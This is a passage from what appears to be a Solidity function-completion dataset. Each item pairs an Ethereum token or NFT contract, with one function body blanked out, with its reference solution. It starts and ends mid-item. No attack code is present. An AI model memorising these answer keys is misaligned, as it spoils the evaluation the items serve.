amount); } }
return _balances[account];
function balanceOf(address account) public view override returns (uint256)
/** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256)
23961
TokenTimelock
TokenTimelock
contract TokenTimelock { using SafeERC20 for ERC20Basic; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint64 public releaseTime; function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public {<FILL_FUNCTION_BODY> } /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { require(uint64(block.timestamp) >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } }
contract TokenTimelock { using SafeERC20 for ERC20Basic; // ERC20 basic token contract being held ERC20Basic public token; // beneficiary of tokens after they are released address public beneficiary; // timestamp when token release is enabled uint64 public releaseTime; <FILL_FUNCTION> /** * @notice Transfers tokens held by timelock to beneficiary. */ function release() public { require(uint64(block.timestamp) >= releaseTime); uint256 amount = token.balanceOf(this); require(amount > 0); token.safeTransfer(beneficiary, amount); } }
require(_releaseTime > uint64(block.timestamp)); token = _token; beneficiary = _beneficiary; releaseTime = _releaseTime;
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public
function TokenTimelock(ERC20Basic _token, address _beneficiary, uint64 _releaseTime) public
80264
Minty
initialize
contract Minty is ERC721Enumerable, ERC721Metadata { using SafeMath for uint256; string public url; address payable public owner; uint256 public tokenCost; uint256 public tokenCap; address public factoryContract; constructor( string memory name_, string memory symbol_ ) public ERC721Metadata(name_, symbol_) { // Don't allow implementation to be initialized. factoryContract = address(1); } // events event CapRaised(uint256 indexed NewCap); event OwnerChanged(address payable NewOwner); // functions function initialize( string calldata name_, string calldata symbol_, string calldata url_, uint256 tokenCost_, uint256 tokenCap_, address payable owner_, address factoryContract_ ) external {<FILL_FUNCTION_BODY> } function changeCost(uint256 newcost) public { require(msg.sender == owner, "Only owner"); tokenCost = newcost; } function RaiseCap(uint256 newtokens) public { require(msg.sender == owner, "Only owner"); tokenCap = tokenCap.add(newtokens); } function changeOwner(address payable newOwner) public { require(msg.sender == owner, "Only owner"); owner = newOwner; emit OwnerChanged(newOwner); } function withdrawETH() external { address payable alchemyRouter = IMintyFactory(factoryContract).getRouter(); // send a 1% fee to the alchemyRouter IAlchemyRouter(alchemyRouter).deposit.value(address(this).balance / 100)(); // transfer the rest to the owner owner.transfer(address(this).balance); } function() external payable { require(tokenCap > 0, "No token cap"); require(tokenCap > totalSupply(), "Token cap too low"); require(msg.value >= tokenCost, "msg.value too low"); uint256 cost = msg.value.sub(tokenCost); _mint(msg.sender, totalSupply()); msg.sender.transfer(cost); } function mintM(uint256 tokens, address[] memory to) public payable { require(tokenCap > 0, "No token cap"); require(tokenCap >= totalSupply().add(tokens), "Token cap too low"); require(tokens == to.length, "array token length mismatch"); require(msg.value >= tokenCost.mul(tokens), "msg.value too low"); uint256 cost = msg.value.sub(tokenCost.mul(tokens)); for (uint256 i = 0; i < tokens; i++) { _mint(to[i], totalSupply()); } msg.sender.transfer(cost); } }
contract Minty is ERC721Enumerable, ERC721Metadata { using SafeMath for uint256; string public url; address payable public owner; uint256 public tokenCost; uint256 public tokenCap; address public factoryContract; constructor( string memory name_, string memory symbol_ ) public ERC721Metadata(name_, symbol_) { // Don't allow implementation to be initialized. factoryContract = address(1); } // events event CapRaised(uint256 indexed NewCap); event OwnerChanged(address payable NewOwner); <FILL_FUNCTION> function changeCost(uint256 newcost) public { require(msg.sender == owner, "Only owner"); tokenCost = newcost; } function RaiseCap(uint256 newtokens) public { require(msg.sender == owner, "Only owner"); tokenCap = tokenCap.add(newtokens); } function changeOwner(address payable newOwner) public { require(msg.sender == owner, "Only owner"); owner = newOwner; emit OwnerChanged(newOwner); } function withdrawETH() external { address payable alchemyRouter = IMintyFactory(factoryContract).getRouter(); // send a 1% fee to the alchemyRouter IAlchemyRouter(alchemyRouter).deposit.value(address(this).balance / 100)(); // transfer the rest to the owner owner.transfer(address(this).balance); } function() external payable { require(tokenCap > 0, "No token cap"); require(tokenCap > totalSupply(), "Token cap too low"); require(msg.value >= tokenCost, "msg.value too low"); uint256 cost = msg.value.sub(tokenCost); _mint(msg.sender, totalSupply()); msg.sender.transfer(cost); } function mintM(uint256 tokens, address[] memory to) public payable { require(tokenCap > 0, "No token cap"); require(tokenCap >= totalSupply().add(tokens), "Token cap too low"); require(tokens == to.length, "array token length mismatch"); require(msg.value >= tokenCost.mul(tokens), "msg.value too low"); uint256 cost = msg.value.sub(tokenCost.mul(tokens)); for (uint256 i = 0; i < tokens; i++) { _mint(to[i], totalSupply()); } msg.sender.transfer(cost); } }
require(factoryContract == address(0), "already initialized"); require(factoryContract_ != address(0), "factory can not be null"); _name = name_; _symbol = symbol_; tokenCost = tokenCost_; url = url_; owner = owner_; _mint(owner, 0); _tokenURIs = url; tokenCap = tokenCap_; factoryContract = factoryContract_; _registerInterface(0x5b5e139f); _registerInterface(0x80ac58cd); _registerInterface(0x780e9d63); _registerInterface(0x01ffc9a7);
function initialize( string calldata name_, string calldata symbol_, string calldata url_, uint256 tokenCost_, uint256 tokenCap_, address payable owner_, address factoryContract_ ) external
// functions function initialize( string calldata name_, string calldata symbol_, string calldata url_, uint256 tokenCost_, uint256 tokenCap_, address payable owner_, address factoryContract_ ) external
27540
StandardToken
approve
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /* Transfer tokens from one address to another param _from address The address which you want to send tokens from param _to address The address which you want to transfer to param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } /* Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. param _spender The address which will spend the funds. param _value The amount of Roman Lanskoj's tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool) {<FILL_FUNCTION_BODY> } /* Function to check the amount of tokens that an owner allowed to a spender. param _owner address The address which owns the funds. param _spender address The address which will spend the funds. return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) allowed; /* Transfer tokens from one address to another param _from address The address which you want to send tokens from param _to address The address which you want to transfer to param _value uint256 the amout of tokens to be transfered */ function transferFrom(address _from, address _to, uint256 _value) returns (bool) { var _allowance = allowed[_from][msg.sender]; // Check is not needed because sub(_allowance, _value) will already throw if this condition is not met // require (_value <= _allowance); balances[_to] = balances[_to].add(_value); balances[_from] = balances[_from].sub(_value); allowed[_from][msg.sender] = _allowance.sub(_value); Transfer(_from, _to, _value); return true; } <FILL_FUNCTION> /* Function to check the amount of tokens that an owner allowed to a spender. param _owner address The address which owns the funds. param _spender address The address which will spend the funds. return A uint256 specifing the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
// To change the approve amount you first have to reduce the addresses` // allowance to zero by calling `approve(_spender, 0)` if it is not // already 0 to mitigate the race condition described here: // https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 require((_value == 0) || (allowed[msg.sender][_spender] == 0)); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true;
function approve(address _spender, uint256 _value) returns (bool)
/* Aprove the passed address to spend the specified amount of tokens on behalf of msg.sender. param _spender The address which will spend the funds. param _value The amount of Roman Lanskoj's tokens to be spent. */ function approve(address _spender, uint256 _value) returns (bool)
45368
ImpItem
mint
contract ImpItem is ERC721Token, Ownable { using ECRecovery for bytes32; event TokenInformationUpdated(string _name, string _symbol); constructor(string _name, string _symbol) ERC721Token(_name, _symbol) public { } function setTokenInformation(string _newName, string _newSymbol) external onlyOwner { name_ = _newName; symbol_ = _newSymbol; emit TokenInformationUpdated(name_, symbol_); } function symbol() external view returns (string) { return symbol_; } function burn(uint _tokenId) external { _burn(msg.sender, _tokenId); } function mint(uint _tokenId, string _uri, bytes _signedData) external {<FILL_FUNCTION_BODY> } }
contract ImpItem is ERC721Token, Ownable { using ECRecovery for bytes32; event TokenInformationUpdated(string _name, string _symbol); constructor(string _name, string _symbol) ERC721Token(_name, _symbol) public { } function setTokenInformation(string _newName, string _newSymbol) external onlyOwner { name_ = _newName; symbol_ = _newSymbol; emit TokenInformationUpdated(name_, symbol_); } function symbol() external view returns (string) { return symbol_; } function burn(uint _tokenId) external { _burn(msg.sender, _tokenId); } <FILL_FUNCTION> }
bytes32 validatingHash = keccak256( abi.encodePacked(msg.sender, _tokenId, _uri) ); address addressRecovered = validatingHash.recover(_signedData); require(addressRecovered == owner); _mint(msg.sender, _tokenId); _setTokenURI(_tokenId, _uri);
function mint(uint _tokenId, string _uri, bytes _signedData) external
function mint(uint _tokenId, string _uri, bytes _signedData) external
25059
NewToken
NewToken
contract NewToken { function NewToken() {<FILL_FUNCTION_BODY> } uint public totalSupply; string public name; uint8 public decimals; string public symbol; string public version; mapping (address => uint256) balances; mapping (address => mapping (address => uint)) allowed; //Fix for short address attack against ERC20 modifier onlyPayloadSize(uint size) { assert(msg.data.length == size + 4); _; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function transfer(address _recipient, uint _value) onlyPayloadSize(2*32) { require(balances[msg.sender] >= _value && _value > 0); balances[msg.sender] -= _value; balances[_recipient] += _value; Transfer(msg.sender, _recipient, _value); } function transferFrom(address _from, address _to, uint _value) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _spender, address _owner) constant returns (uint balance) { return allowed[_owner][_spender]; } //Event which is triggered to log all transfers to this contract's event log event Transfer( address indexed _from, address indexed _to, uint _value ); //Event which is triggered whenever an owner approves a new allowance for a spender. event Approval( address indexed _owner, address indexed _spender, uint _value ); }
contract NewToken { <FILL_FUNCTION> uint public totalSupply; string public name; uint8 public decimals; string public symbol; string public version; mapping (address => uint256) balances; mapping (address => mapping (address => uint)) allowed; //Fix for short address attack against ERC20 modifier onlyPayloadSize(uint size) { assert(msg.data.length == size + 4); _; } function balanceOf(address _owner) constant returns (uint balance) { return balances[_owner]; } function transfer(address _recipient, uint _value) onlyPayloadSize(2*32) { require(balances[msg.sender] >= _value && _value > 0); balances[msg.sender] -= _value; balances[_recipient] += _value; Transfer(msg.sender, _recipient, _value); } function transferFrom(address _from, address _to, uint _value) { require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value && _value > 0); balances[_to] += _value; balances[_from] -= _value; allowed[_from][msg.sender] -= _value; Transfer(_from, _to, _value); } function approve(address _spender, uint _value) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); } function allowance(address _spender, address _owner) constant returns (uint balance) { return allowed[_owner][_spender]; } //Event which is triggered to log all transfers to this contract's event log event Transfer( address indexed _from, address indexed _to, uint _value ); //Event which is triggered whenever an owner approves a new allowance for a spender. event Approval( address indexed _owner, address indexed _spender, uint _value ); }
totalSupply = 1000000000000000000; name = "Paymon Token"; decimals = 9; symbol = "PMNT"; version = "1.0"; balances[msg.sender] = totalSupply;
function NewToken()
function NewToken()
81839
DAVIUM
null
contract DAVIUM is Token, LockBalance { constructor() public {<FILL_FUNCTION_BODY> } function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal view { super.validTransfer(_from, _to, _value, _lockCheck); if(_lockCheck) { require(_value <= useBalanceOf(_from)); } } function setLockUsers(eLockType _type, address[] _to, uint256[] _value, uint256[] _endTime) onlyManager public { require(_to.length > 0); require(_to.length == _value.length); require(_to.length == _endTime.length); require(_type != eLockType.None); for(uint256 i = 0; i < _to.length; i++){ require(_value[i] <= useBalanceOf(_to[i])); setLockUser(_to[i], _type, _value[i], _endTime[i]); } } function distributeLock(address _to, uint256 _value,eLockType _type, uint256 _lockVal, uint256 _endTime ) public onlyManager returns (bool) { distribute( _to, _value); setLockUser( _to, _type, _lockVal, _endTime); return true; } function useBalanceOf(address _owner) public view returns (uint256) { return balanceOf(_owner).sub(lockBalanceAll(_owner)); } }
contract DAVIUM is Token, LockBalance { <FILL_FUNCTION> function validTransfer(address _from, address _to, uint256 _value, bool _lockCheck) internal view { super.validTransfer(_from, _to, _value, _lockCheck); if(_lockCheck) { require(_value <= useBalanceOf(_from)); } } function setLockUsers(eLockType _type, address[] _to, uint256[] _value, uint256[] _endTime) onlyManager public { require(_to.length > 0); require(_to.length == _value.length); require(_to.length == _endTime.length); require(_type != eLockType.None); for(uint256 i = 0; i < _to.length; i++){ require(_value[i] <= useBalanceOf(_to[i])); setLockUser(_to[i], _type, _value[i], _endTime[i]); } } function distributeLock(address _to, uint256 _value,eLockType _type, uint256 _lockVal, uint256 _endTime ) public onlyManager returns (bool) { distribute( _to, _value); setLockUser( _to, _type, _lockVal, _endTime); return true; } function useBalanceOf(address _owner) public view returns (uint256) { return balanceOf(_owner).sub(lockBalanceAll(_owner)); } }
name = "DAVIUM"; symbol = "DC"; decimals = 18; uint256 initialSupply = 100000000; totalSupply = initialSupply * 10 ** uint(decimals); user[owner].balance = totalSupply; emit Transfer(address(0), owner, totalSupply);
constructor() public
constructor() public
91905
DOOR
null
contract DOOR is ERC20 { constructor() ERC20("DOOR", "DOOR") {<FILL_FUNCTION_BODY> } }
contract DOOR is ERC20 { <FILL_FUNCTION> }
uint256 initialSupply = 4000000000 * (10 ** 18); _mint(msg.sender, initialSupply);
constructor() ERC20("DOOR", "DOOR")
constructor() ERC20("DOOR", "DOOR")
33480
CardPackFour
_getPurity
contract CardPackFour { MigrationInterface public migration; uint public creationBlock; constructor(MigrationInterface _core) public payable { migration = _core; creationBlock = 5939061 + 2000; // set to creation block of first contracts + 8 hours for down time } event Referral(address indexed referrer, uint value, address purchaser); /** * purchase 'count' of this type of pack */ function purchase(uint16 packCount, address referrer) public payable; // store purity and shine as one number to save users gas function _getPurity(uint16 randOne, uint16 randTwo) internal pure returns (uint16) {<FILL_FUNCTION_BODY> } }
contract CardPackFour { MigrationInterface public migration; uint public creationBlock; constructor(MigrationInterface _core) public payable { migration = _core; creationBlock = 5939061 + 2000; // set to creation block of first contracts + 8 hours for down time } event Referral(address indexed referrer, uint value, address purchaser); /** * purchase 'count' of this type of pack */ function purchase(uint16 packCount, address referrer) public payable; <FILL_FUNCTION> }
if (randOne >= 998) { return 3000 + randTwo; } else if (randOne >= 988) { return 2000 + randTwo; } else if (randOne >= 938) { return 1000 + randTwo; } else { return randTwo; }
function _getPurity(uint16 randOne, uint16 randTwo) internal pure returns (uint16)
// store purity and shine as one number to save users gas function _getPurity(uint16 randOne, uint16 randTwo) internal pure returns (uint16)
30519
MintableToken
finishMinting
contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to,uint256 _amount)public hasMintPermission canMint returns (bool) { require (LockList[_to] == false,"ERC20: Receipient Locked !"); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool) {<FILL_FUNCTION_BODY> } }
contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } modifier hasMintPermission() { require(msg.sender == owner); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to,uint256 _amount)public hasMintPermission canMint returns (bool) { require (LockList[_to] == false,"ERC20: Receipient Locked !"); totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } <FILL_FUNCTION> }
mintingFinished = true; emit MintFinished(); return true;
function finishMinting() public onlyOwner canMint returns (bool)
/** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() public onlyOwner canMint returns (bool)
33090
MockBITO
transferAnyERC20Token
contract MockBITO is ERC20Token, Owned { string public constant name = "Mock BITO"; string public constant symbol = "MBITO"; uint256 public constant decimals = 18; uint256 public constant initialToken = 500000000 * (10 ** decimals); address public rescueAddress; constructor() public { rescueAddress = msg.sender; totalToken = initialToken; balances[msg.sender] = totalToken; emit Transfer(0x0, msg.sender, totalToken); } function transfer(address _to, uint256 _value) public returns (bool) { return super.transfer(_to, _value); } function approve(address _spender, uint256 _value) public returns (bool) { return super.approve(_spender, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { return super.transferFrom(_from, _to, _value); } function transferAnyERC20Token(address _tokenAddress, uint256 _value) public onlyOwner returns (bool) {<FILL_FUNCTION_BODY> } }
contract MockBITO is ERC20Token, Owned { string public constant name = "Mock BITO"; string public constant symbol = "MBITO"; uint256 public constant decimals = 18; uint256 public constant initialToken = 500000000 * (10 ** decimals); address public rescueAddress; constructor() public { rescueAddress = msg.sender; totalToken = initialToken; balances[msg.sender] = totalToken; emit Transfer(0x0, msg.sender, totalToken); } function transfer(address _to, uint256 _value) public returns (bool) { return super.transfer(_to, _value); } function approve(address _spender, uint256 _value) public returns (bool) { return super.approve(_spender, _value); } function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { return super.transferFrom(_from, _to, _value); } <FILL_FUNCTION> }
return ERC20(_tokenAddress).transfer(rescueAddress, _value);
function transferAnyERC20Token(address _tokenAddress, uint256 _value) public onlyOwner returns (bool)
function transferAnyERC20Token(address _tokenAddress, uint256 _value) public onlyOwner returns (bool)
72303
ICICB
transferFrom
contract ICICB is ERC20Interface { string public constant name = "ICICB"; string public constant symbol = "ICICB"; uint8 public constant decimals = 0; event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint tokens); event RegistrationSuccessful(uint256 nonce); event RegistrationFailed(uint256 nonce); mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; uint256 totalSupply_ = 100000000; mapping (string => address) addressTable; using SafeMath for uint256; constructor() public{ balances[msg.sender] = totalSupply_; } function totalSupply() public override view returns (uint256) { return totalSupply_; } function balanceOf(address tokenOwner) public override view returns (uint) { return balances[tokenOwner]; } function balanceOf(string memory tokenOwner) public view returns (uint) { address userAddress; userAddress = addressTable[tokenOwner]; return balances[userAddress]; } function transfer(address receiver, uint numTokens) public override returns (bool) { require(numTokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(numTokens); balances[receiver] = balances[receiver].add(numTokens); emit Transfer(msg.sender, receiver, numTokens); return true; } function transfer(string memory receiver, uint numTokens) public returns (bool) { address receiverAddress; receiverAddress = addressTable[receiver]; require(numTokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(numTokens); balances[receiverAddress] = balances[receiverAddress].add(numTokens); emit Transfer(msg.sender, receiverAddress, numTokens); return true; } function approve(address delegate, uint numTokens) public override returns (bool) { allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } function approve(string memory delegate, uint numTokens) public returns (bool) { address delegateAddress; delegateAddress = addressTable[delegate]; allowed[msg.sender][delegateAddress] = numTokens; emit Approval(msg.sender, delegateAddress, numTokens); return true; } function allowance(address owner, address delegate) public override view returns (uint) { return allowed[owner][delegate]; } function allowance(string memory owner, string memory delegate) public view returns (uint) { address ownerAddress; ownerAddress = addressTable[owner]; address delegateAddress; delegateAddress = addressTable[delegate]; return allowed[ownerAddress][delegateAddress]; } function transferFrom(address owner, address buyer, uint numTokens) public override returns (bool) {<FILL_FUNCTION_BODY> } function transferFrom(string memory owner, string memory buyer, uint numTokens) public returns (bool) { address ownerAddress; ownerAddress = addressTable[owner]; address buyerAddress; buyerAddress = addressTable[buyer]; require(numTokens <= balances[ownerAddress]); require(numTokens <= allowed[ownerAddress][msg.sender]); balances[ownerAddress] = balances[ownerAddress].sub(numTokens); allowed[ownerAddress][msg.sender] = allowed[ownerAddress][msg.sender].sub(numTokens); balances[buyerAddress] = balances[buyerAddress].add(numTokens); emit Transfer(ownerAddress, buyerAddress, numTokens); return true; } function registerUser(string memory user, uint256 nonce) public returns (bool) { if (addressTable[user] == address(0)) { addressTable[user] = msg.sender; emit RegistrationSuccessful(nonce); return true; } else { emit RegistrationFailed(nonce); return false; } } }
contract ICICB is ERC20Interface { string public constant name = "ICICB"; string public constant symbol = "ICICB"; uint8 public constant decimals = 0; event Approval(address indexed tokenOwner, address indexed spender, uint tokens); event Transfer(address indexed from, address indexed to, uint tokens); event RegistrationSuccessful(uint256 nonce); event RegistrationFailed(uint256 nonce); mapping(address => uint256) balances; mapping(address => mapping (address => uint256)) allowed; uint256 totalSupply_ = 100000000; mapping (string => address) addressTable; using SafeMath for uint256; constructor() public{ balances[msg.sender] = totalSupply_; } function totalSupply() public override view returns (uint256) { return totalSupply_; } function balanceOf(address tokenOwner) public override view returns (uint) { return balances[tokenOwner]; } function balanceOf(string memory tokenOwner) public view returns (uint) { address userAddress; userAddress = addressTable[tokenOwner]; return balances[userAddress]; } function transfer(address receiver, uint numTokens) public override returns (bool) { require(numTokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(numTokens); balances[receiver] = balances[receiver].add(numTokens); emit Transfer(msg.sender, receiver, numTokens); return true; } function transfer(string memory receiver, uint numTokens) public returns (bool) { address receiverAddress; receiverAddress = addressTable[receiver]; require(numTokens <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(numTokens); balances[receiverAddress] = balances[receiverAddress].add(numTokens); emit Transfer(msg.sender, receiverAddress, numTokens); return true; } function approve(address delegate, uint numTokens) public override returns (bool) { allowed[msg.sender][delegate] = numTokens; emit Approval(msg.sender, delegate, numTokens); return true; } function approve(string memory delegate, uint numTokens) public returns (bool) { address delegateAddress; delegateAddress = addressTable[delegate]; allowed[msg.sender][delegateAddress] = numTokens; emit Approval(msg.sender, delegateAddress, numTokens); return true; } function allowance(address owner, address delegate) public override view returns (uint) { return allowed[owner][delegate]; } function allowance(string memory owner, string memory delegate) public view returns (uint) { address ownerAddress; ownerAddress = addressTable[owner]; address delegateAddress; delegateAddress = addressTable[delegate]; return allowed[ownerAddress][delegateAddress]; } <FILL_FUNCTION> function transferFrom(string memory owner, string memory buyer, uint numTokens) public returns (bool) { address ownerAddress; ownerAddress = addressTable[owner]; address buyerAddress; buyerAddress = addressTable[buyer]; require(numTokens <= balances[ownerAddress]); require(numTokens <= allowed[ownerAddress][msg.sender]); balances[ownerAddress] = balances[ownerAddress].sub(numTokens); allowed[ownerAddress][msg.sender] = allowed[ownerAddress][msg.sender].sub(numTokens); balances[buyerAddress] = balances[buyerAddress].add(numTokens); emit Transfer(ownerAddress, buyerAddress, numTokens); return true; } function registerUser(string memory user, uint256 nonce) public returns (bool) { if (addressTable[user] == address(0)) { addressTable[user] = msg.sender; emit RegistrationSuccessful(nonce); return true; } else { emit RegistrationFailed(nonce); return false; } } }
require(numTokens <= balances[owner]); require(numTokens <= allowed[owner][msg.sender]); balances[owner] = balances[owner].sub(numTokens); allowed[owner][msg.sender] = allowed[owner][msg.sender].sub(numTokens); balances[buyer] = balances[buyer].add(numTokens); emit Transfer(owner, buyer, numTokens); return true;
function transferFrom(address owner, address buyer, uint numTokens) public override returns (bool)
function transferFrom(address owner, address buyer, uint numTokens) public override returns (bool)
84602
MintableToken
finishMinting
contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } /** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool) {<FILL_FUNCTION_BODY> } }
contract MintableToken is StandardToken, Ownable { event Mint(address indexed to, uint256 amount); event MintFinished(); bool public mintingFinished = false; modifier canMint() { require(!mintingFinished); _; } /** * @dev Function to mint tokens * @param _to The address that will receive the minted tokens. * @param _amount The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { totalSupply_ = totalSupply_.add(_amount); balances[_to] = balances[_to].add(_amount); emit Mint(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } <FILL_FUNCTION> }
mintingFinished = true; emit MintFinished(); return true;
function finishMinting() onlyOwner canMint public returns (bool)
/** * @dev Function to stop minting new tokens. * @return True if the operation was successful. */ function finishMinting() onlyOwner canMint public returns (bool)
64406
CryptoVideoGameItem
purchaseVideoGameItem
contract CryptoVideoGameItem { address contractCreator = 0xC15d9f97aC926a6A29A681f5c19e2b56fd208f00; address devFeeAddress = 0xC15d9f97aC926a6A29A681f5c19e2b56fd208f00; address cryptoVideoGames = 0xdEc14D8f4DA25108Fd0d32Bf2DeCD9538564D069; struct VideoGameItem { string videoGameItemName; address ownerAddress; uint256 currentPrice; uint parentVideoGame; } VideoGameItem[] videoGameItems; modifier onlyContractCreator() { require (msg.sender == contractCreator); _; } bool isPaused; /* We use the following functions to pause and unpause the game. */ function pauseGame() public onlyContractCreator { isPaused = true; } function unPauseGame() public onlyContractCreator { isPaused = false; } function GetGamestatus() public view returns(bool) { return(isPaused); } /* This function allows users to purchase Video Game Item. The price is automatically multiplied by 2 after each purchase. Users can purchase multiple video game Items. */ function purchaseVideoGameItem(uint _videoGameItemId) public payable {<FILL_FUNCTION_BODY> } /* This function can be used by the owner of a video game item to modify the price of its video game item. He can make the price lesser than the current price only. */ function modifyCurrentVideoGameItemPrice(uint _videoGameItemId, uint256 _newPrice) public { require(_newPrice > 0); require(videoGameItems[_videoGameItemId].ownerAddress == msg.sender); require(_newPrice < videoGameItems[_videoGameItemId].currentPrice); videoGameItems[_videoGameItemId].currentPrice = _newPrice; } // This function will return all of the details of the Video Game Item function getVideoGameItemDetails(uint _videoGameItemId) public view returns ( string videoGameItemName, address ownerAddress, uint256 currentPrice, uint parentVideoGame ) { VideoGameItem memory _videoGameItem = videoGameItems[_videoGameItemId]; videoGameItemName = _videoGameItem.videoGameItemName; ownerAddress = _videoGameItem.ownerAddress; currentPrice = _videoGameItem.currentPrice; parentVideoGame = _videoGameItem.parentVideoGame; } // This function will return only the price of a specific Video Game Item function getVideoGameItemCurrentPrice(uint _videoGameItemId) public view returns(uint256) { return(videoGameItems[_videoGameItemId].currentPrice); } // This function will return only the owner address of a specific Video Game function getVideoGameItemOwner(uint _videoGameItemId) public view returns(address) { return(videoGameItems[_videoGameItemId].ownerAddress); } /** @dev Multiplies two numbers, throws on overflow. => From the SafeMath library */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** @dev Integer division of two numbers, truncating the quotient. => From the SafeMath library */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } // This function will be used to add a new video game by the contract creator function addVideoGameItem(string videoGameItemName, address ownerAddress, uint256 currentPrice, uint parentVideoGame) public onlyContractCreator { videoGameItems.push(VideoGameItem(videoGameItemName,ownerAddress,currentPrice, parentVideoGame)); } }
contract CryptoVideoGameItem { address contractCreator = 0xC15d9f97aC926a6A29A681f5c19e2b56fd208f00; address devFeeAddress = 0xC15d9f97aC926a6A29A681f5c19e2b56fd208f00; address cryptoVideoGames = 0xdEc14D8f4DA25108Fd0d32Bf2DeCD9538564D069; struct VideoGameItem { string videoGameItemName; address ownerAddress; uint256 currentPrice; uint parentVideoGame; } VideoGameItem[] videoGameItems; modifier onlyContractCreator() { require (msg.sender == contractCreator); _; } bool isPaused; /* We use the following functions to pause and unpause the game. */ function pauseGame() public onlyContractCreator { isPaused = true; } function unPauseGame() public onlyContractCreator { isPaused = false; } function GetGamestatus() public view returns(bool) { return(isPaused); } <FILL_FUNCTION> /* This function can be used by the owner of a video game item to modify the price of its video game item. He can make the price lesser than the current price only. */ function modifyCurrentVideoGameItemPrice(uint _videoGameItemId, uint256 _newPrice) public { require(_newPrice > 0); require(videoGameItems[_videoGameItemId].ownerAddress == msg.sender); require(_newPrice < videoGameItems[_videoGameItemId].currentPrice); videoGameItems[_videoGameItemId].currentPrice = _newPrice; } // This function will return all of the details of the Video Game Item function getVideoGameItemDetails(uint _videoGameItemId) public view returns ( string videoGameItemName, address ownerAddress, uint256 currentPrice, uint parentVideoGame ) { VideoGameItem memory _videoGameItem = videoGameItems[_videoGameItemId]; videoGameItemName = _videoGameItem.videoGameItemName; ownerAddress = _videoGameItem.ownerAddress; currentPrice = _videoGameItem.currentPrice; parentVideoGame = _videoGameItem.parentVideoGame; } // This function will return only the price of a specific Video Game Item function 